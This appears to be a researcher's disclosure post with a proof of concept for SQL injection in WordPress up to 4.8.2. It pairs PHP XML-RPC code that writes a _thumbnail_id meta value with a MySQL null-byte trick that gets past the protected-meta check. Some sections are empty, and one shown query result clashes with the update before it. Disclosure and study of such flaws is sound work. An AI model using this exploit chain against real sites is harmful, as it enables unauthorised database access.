2017-11-09

Wordpress <= 4.8.2 SQL Injection POC

I found this vulnerability after reading slavco’s post, and reported it to Wordpress Team via Hackerone on Sep. 2nd, 2017. But, unfortunately, WordPress team didn’t pay attention to this report too.

# SQL Injection Details

# POC Details

If you already found out the potential sqli in wordpress, you would know that we need to insert our playload into _thumbnail_id meta in order to launch the sqli attack.

## Wordpress ≤ 4.7.4 Lack of capability checks for post meta data in the XML-RPC API

This vulnerability have mentioned in slavco’s post: Wordpress SQLi

Reference: WordPress 4.7.5 Security and Maintenance Release

POC

$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/*post_id*/, $content);

## Wordpress ≤ 4.8.2 POST Meta Protection Bypass

A trick of Mysql

1). A normal query for _thumbnail_id

mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key       | meta_value |
+---------+---------+----------------+------------+
|       4 |       4 | _thumbnail_id  | TESTC      |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

2). Change the meta_value of _thumbnail_id to “\x00_thumbnail_id”

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mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

3). Query by _thumbnail_id again

mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key       | meta_value |
+---------+---------+----------------+------------+
|       4 |       4 |  _thumbnail_id | TESTC      |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

POST Meta Protection Bypass

This is the is_protected_meta(./wp-includes/meta.php) method used to check the validation of post meta:

function is_protected_meta( $meta_key, $meta_type = null ) {
    $protected = ( '_' == $meta_key[0] );
    /**
     * Filters whether a meta key is protected.
     *
     * [@since](/since) 3.2.0
     *
     * [@param](/param) bool   $protected Whether the key is protected. Default false.
     * [@param](/param) string $meta_key  Meta key.
     * [@param](/param) string $meta_type Meta type.
     */
    return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}

The code just checks the first character of $meta_key, from the mysql trick, we can use %00_ to bypass it.